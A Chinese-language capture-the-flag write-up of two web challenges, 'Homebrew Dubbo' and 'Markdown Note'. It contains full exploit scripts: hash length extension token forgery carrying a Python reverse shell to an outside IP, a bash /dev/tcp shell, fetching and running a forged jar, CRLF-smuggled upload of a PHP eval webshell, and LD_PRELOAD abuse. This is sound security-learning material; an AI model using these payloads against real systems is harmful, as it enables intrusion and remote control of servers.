去年直接就地爆炸,一年过去了还是没啥区别…
Homebrew Dubbo
一个网盘的功能,上传文件会返回一个token,比如
1
| eyJzaWduIjoiWlRsaFptVmpZakUxTkRBeU5ERmtaV0ZqTlRrNE5HTXhORFF3TjJObE5UQT0iLCJpZCI6IllUWmxNREE1TW1VdE9EWTFOQzAwWVdZM0xUZzFZVFl0TjJKak9ETXhORFZsTTJJeSJ9
|
base64解码为
1
| {"sign":"ZTlhZmVjYjE1NDAyNDFkZWFjNTk4NGMxNDQwN2NlNTA=","id":"YTZlMDA5MmUtODY1NC00YWY3LTg1YTYtN2JjODMxNDVlM2Iy"}
|
可以看到分为sign
和id
两部分,使用token可以下载上传的文件
信息泄露得到源码
没啥思路,可以先做下信息搜集
在/static/js/app.4d269ccff489d8a081d1.js
里有一个注释
下载/static/js/app.4d269ccff489d8a081d1.js.map
,用LinkFinder找到一个接口
访问/api/upload/list
发现列出了存在的token
使用第一个token可以下载得到源码
哈希拓展攻击命令执行
审计下代码发现是一个java微服务的架构
在in.zhaoj.homebrew_dubbo.storage_provider.service.Impl.StorageServiceImpl
的readFile
方法可以发现可控的命令执行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| @Override public HashMap<String, Object> readFile(HashMap<String, Object> parameter) { HashMap<String, Object> returnHashMap = new HashMap<>();
String id = ((String)(parameter.get("id"))); String dictName = String.valueOf(UUID.randomUUID());
shellUtil.exec("cd " + uploadFolder + " && unzip " + id + ".zip -d " + tmpPath + "/" + dictName + "/");
List<String> result = new ArrayList<>(); fileUtil.list(new File(tmpPath + "/" + dictName + "/"), result); String[] fileNames = result.get(0).split("/"); returnHashMap.put("filename", fileNames[fileNames.length - 1]); returnHashMap.put("dictname", dictName); returnHashMap.put("size", new File(tmpPath + "/" + dictName + "/" + fileNames[fileNames.length - 1]).length()); returnHashMap.put("url", "http://" + host + ":" + port + "/" + staticAccessPath.replace("**", "") + "/" + dictName + "/" + fileNames[fileNames.length - 1]);
shellUtil.exec( "rm -rf " + uploadFolder + "/" + dictName + "/");
return returnHashMap; }
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| @Component public class ShellUtil { public String exec(String shell) { String result = ""; Process process; try { shell = shell.replace("\u0000", "");
process = Runtime.getRuntime().exec(new String[]{"/bin/sh", "-c", shell}); process.waitFor(); BufferedReader read = new BufferedReader(new InputStreamReader(process.getInputStream())); String line = null; while ((line = read.readLine()) != null){ result+=line; } } catch (Exception e) { e.printStackTrace(); }
return result; } }
|
不过首先要在前端消费者frontend_consumer
那里绕过token
的验证
1 2 3 4 5 6 7 8 9 10 11 12 13
| @GetMapping(value = "") public ResponseEntity<Resource> download(@RequestParam String token) throws IllegalStateException { byte[] id = fileSignUtil.verifyToken(token);
if(id == null) { return ResponseEntity.notFound().build(); }
HashMap<String, Object> requestHashMap = new HashMap<>(); requestHashMap.put("id", new String(id));
HashMap<String, Object> returnHashMap = this.dubboCallUtil.callWithRetry("in.zhaoj.homebrew_dubbo.storage_provider.service.StorageService", "readFile", requestHashMap); ......
|
验证方法是对id
进行签名,看其是否与token
相同。获取签名时可以哈希拓展攻击
1 2 3
| private String getSign(byte[] filename) { return base64Util.encode(encrypt(arrayUnion(secretKey.getBytes(), filename))); }
|
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| import hashpumpy import base64 import requests
sign = "1b929a91319bcc3221e09fb3c78a4c80" id = "3221a5e3-f3b8-42b7-9e03-5a4f9439e1f8" cmd = ''';python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("174.0.64.30",8080));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);';''' sign,id = hashpumpy.hashpump(sign,id,cmd,32) print(sign) print(id) token = b'{"sign":"'+ base64.b64encode(sign.encode()) + b'","id":"' + base64.b64encode(id) + b'"}' token = base64.b64encode(token) print(token)
url = 'http://5f27951f-6e8b-42b6-abe9-916b116ee976.node3.buuoj.cn/api/upload?token=' requests.get(url=url+token.decode())
|
这里用/bin/bash
等方式死活弹不了shell,只有python3能成功
拿到shell后发现这里/bin/sh
指向的是dash
,常用的反弹shell方法里很多语法dash
都不支持,目前也没有找到dash
弹shell的方法…
替代办法是/bin/bash -c 'bash -i >& /dev/tcp/174.0.64.3/8080 0>&1'
伪造消费者得到flag
此时的用户是java3,但flag只有java2用户才能读
用java2启动的服务是flag_provider
,里面有方法可以读flag
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| @Service public class FlagServiceImpl implements FlagService { @Override public HashMap<String, Object> getFlag(HashMap<String, Object> parameter) { HashMap<String, Object> returnHashmap = new HashMap<>(); try { FileInputStream fis = new FileInputStream("/flag"); String data = IOUtils.toString(fis, "UTF-8");
returnHashmap.put("flag", data); return returnHashmap; } catch (Exception e) { e.printStackTrace(); return returnHashmap; } } }
|
frontend_consumer
中并没有没有调用这个方法的地方,但我们可以伪造一个自己的
frontend_consumer
传上去运行,在里面远程调用getFlag
方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| @RestController @RequestMapping("/api/check") public class CheckController {
@Autowired private DubboCallUtil dubboCallUtil;
@GetMapping(value = "") public ResponseData show() throws IllegalStateException {
HashMap<String,Object> parameter = new HashMap<>(); HashMap<String, Object> returnHashMap = this.dubboCallUtil.callWithRetry("in.zhaoj.homebrew_dubbo.flag_provider.service.FlagService", "getFlag", parameter); return new ResponseData(ResponseData.CODE_SUCCESS,returnHashMap); } }
|
- 在
application-prod.properties
中修改监听的端口
1 2 3
| server.address=127.0.0.1
server.port=1234
|
1 2
| curl http://174.0.64.30:5000/frontend_consumer.jar -o frontend_consumer.jar nohup java -jar frontend_consumer.jar > nohup.txt &
|
- 访问伪造的
frontend_consumer
的/api/check
接口得到flag
1
| curl http://127.0.0.1:1234/api/check
|
赵总nb!
Markdown Note
传说中的web re
思路很明确,从pmarkdown.so
这个php拓展里找一个ssrf然后文件上传
可以先看看evoa师傅的文章学习下php拓展的基础知识:
ida初步分析
pmark_include
post.php
里调用了一个pmark_include
来渲染markdown文件
1
| pmark_include('posts/'.$_GET['md']);
|
在pmarkdown.so
的导出函数中可以找到pmark_include
(拓展中叫做zif_pmark_include
)
跟进去看一下,最终跟到verbose_pandoc_file
函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37
| int __fastcall verbose_pandoc_file(char *filename) { __pid_t v1; __pid_t v2; int fd[2]; char buf[10240]; unsigned __int64 v6;
v6 = __readfsqword(0x28u); memset(buf, 0, 0x2800uLL); if ( pipe(fd) < 0 ) return -1; v1 = fork(); v2 = v1; if ( v1 < 0 ) return -1; if ( !v1 ) { close(fd[0]); if ( fd[1] == 1 ) return -(execl(path, "pandoc", filename, 0LL) == -1); if ( dup2(fd[1], 1) == 1 ) { close(fd[1]); return -(execl(path, "pandoc", filename, 0LL) == -1); } return -1; } close(fd[1]); while ( (signed int)read(fd[0], buf, 0x2800uLL) > 0 ) { php_printf("%s", buf); memset(buf, 0, 0x2800uLL); } close(fd[0]); return -(waitpid(v2, 0LL, 0) > 0); }
|
这里用execl
函数来调用pandoc
渲染markdown文件,并不存在命令注入
zm_activate_pmarkdown
php拓展中的PHP_RINIT_FUNCTION
函数(宏展开后实际上是zm_activate_##module(...){...}
)会在请求到来时执行,很可能藏有一些东西
- 在ida的Exports中找到
pmarkdown_module_entry
,在里面可以找到zm_activate_pmarkdown
函数
- 在
zm_activate_pmarkdown
底部调用了一个unk_1850
- 跟进
unk_1850
函数就可以找到ssrf,并且通过path
可以CRLF注入构造文件上传的包
那么接下来的问题就是如何才能控制path
。回过头来再看zm_activate_pmarkdown
底部的代码
zend_hash_find
用于获取一个哈希表中的键值,其第一个参数为指向HashTable
的指针,第二个参数为一个zend_string
。可以看出:
具体是哪个成员呢…直接用偏移地址和core_globals
成员大小去算感觉很麻烦,还是gdb动调去看一看
调试环境搭建
使用的调试方法来自WEBPWN入门级调试讲解,通过php cli进行调试
- 在php cli的php.ini中添加
pmarkdown.so
1
| extension = "/home/kali/pmarkdown/pmarkdown.so"
|
1 2
| <?php pmark_include('test.md');
|
这里要注意下php版本的问题,一开始用的php7.4会报错:
这是因为pmarkdown.so
是在php7.2环境下编译的(API=20170718),与其他版本的API可能不兼容
调试分析
再下一个断点,断在zm_activate_pmarkdown
最后的call _zend_hash_find
可以看到ht
和key
两个参数
看着没啥问题,正好对应于zend_string
1 2 3 4 5 6
| struct _zend_string { zend_refcounted_h gc; zend_ulong h; size_t len; char val[1]; };
|
- 再来看看
ht
究竟是什么哈希表,r12
值为0x555555c13fa0
,也就是core_globals
结构体起始地址为0x555555c13fa0
,偏移0x170
后是0x555555c14110
参考gdb 显示结构体中成员的偏移量中的方法,输出core_globals
成员的偏移地址,最终找到http_globals
成员的地址为0x555555c14110
:
http_globals
定义为zval * http_globals[6];
,用于获取http参数,其有7个索引
1 2 3 4 5 6 7
| #define TRACK_VARS_POST 0 #define TRACK_VARS_GET 1 #define TRACK_VARS_COOKIE 2 #define TRACK_VARS_SERVER 3 #define TRACK_VARS_ENV 4 #define TRACK_VARS_FILES 5 #define TRACK_VARS_REQUEST 6
|
这里正好是0x555555c14110
,也就是第一个索引TRACK_VARS_POST
,后面的zend_hash_find
也就相当于$_POST['debug']
CRLF注入
接着就是post一个debug
参数控制path
构造文件上传包,方法是构造这样一个双http包:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| GET /sadfas HTTP/1.1 HOST:localhost Connection:Keep-Alive
POST /upload.php HTTP/1.1 Host: 127.0.0.1:8080 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:66.0) Gecko/20100101 Firefox/66.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh,en-US;q=0.7,en;q=0.3 Referer: http://127.0.0.1:8080/index.php?act=upload Content-Type: multipart/form-data; boundary=---------------------------6693638881479522630623693797 Content-Length: 244 Connection: close Upgrade-Insecure-Requests: 1
-----------------------------6693638881479522630623693797 Content-Disposition: form-data; name="file"; filename="logout.php" Content-Type: text/php
<?php eval($_REQUEST[a]);
-----------------------------6693638881479522630623693797-- HTTP/1.1 Host: 127.0.0.1 User-Agent: ComputerVendor Cookie: nilnilnilnil Connection: close Identity: unknown
|
因为第二个http包中有Connection: close
,所以后面的
1 2 3 4 5 6
| HTTP/1.1 Host: 127.0.0.1 User-Agent: ComputerVendor Cookie: nilnilnilnil Connection: close Identity: unknown
|
会被丢弃掉
懒得自己写了,copy一下官方exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| import requests import re
url = 'xxxxxx' timeout=5 data = '504f5354202f75706c6f61642e70687020485454502f312e310d0a486f73743a203132372e302e302e313a383038300d0a557365722d4167656e743a204d6f7a696c6c612f352e3020284d6163696e746f73683b20496e74656c204d6163204f5320582031302e31333b2072763a36362e3029204765636b6f2f32303130303130312046697265666f782f36362e300d0a4163636570743a20746578742f68746d6c2c6170706c69636174696f6e2f7868746d6c2b786d6c2c6170706c69636174696f6e2f786d6c3b713d302e392c2a2f2a3b713d302e380d0a4163636570742d4c616e67756167653a207a682c656e2d55533b713d302e372c656e3b713d302e330d0a526566657265723a20687474703a2f2f3132372e302e302e313a383038302f696e6465782e7068703f6163743d75706c6f61640d0a436f6e74656e742d547970653a206d756c7469706172742f666f726d2d646174613b20626f756e646172793d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d363639333633383838313437393532323633303632333639333739370d0a436f6e74656e742d4c656e6774683a203234340d0a436f6e6e656374696f6e3a20636c6f73650d0a557067726164652d496e7365637572652d52657175657374733a20310d0a0d0a2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d363639333633383838313437393532323633303632333639333739370d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2266696c65223b2066696c656e616d653d226c6f676f75742e706870220d0a436f6e74656e742d547970653a20746578742f7068700d0a0d0a3c3f706870200d0a6576616c28245f524551554553545b615d293b0a0d0a2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d363639333633383838313437393532323633303632333639333739372d2d0d0a'.replace( '\n', '') data = data.decode('hex') requests.post(url+'/index.php', data={'debug': "sadfas HTTP/1.1\r\nHOST:localhost\r\nConnection:Keep-Alive\r\n\r\n%s\r\n" % data}, timeout=timeout)
requests.post(url+'/index.php', data={'debug': "sadfas HTTP/1.1\r\nHOST:localhost\r\nConnection:Keep-Alive\r\n\r\n%s\r\n" % data}, timeout=timeout)
requests.post(url+'/post.php?md=logout.md', data={ 'a': 'move_uploaded_file($_FILES["aaa"]["tmp_name"],"/tmp/test.so");' }, files={"aaa": ("filename1", open("test.so", "rb"))}, timeout=timeout) requests.post(url+'/post.php?md=logout.md', data={'a': 'putenv("LD_PRELOAD=/tmp/test.so");pmark_read("posts/logout.md");'}, timeout=timeout) data = requests.post(url+'/post.php?md=logout.md', data={ 'a': 'print_r(file_get_contents("/tmp/flag"));' }).content info = re.search(r'flag\{.*\}', data) print(info.group(0))
|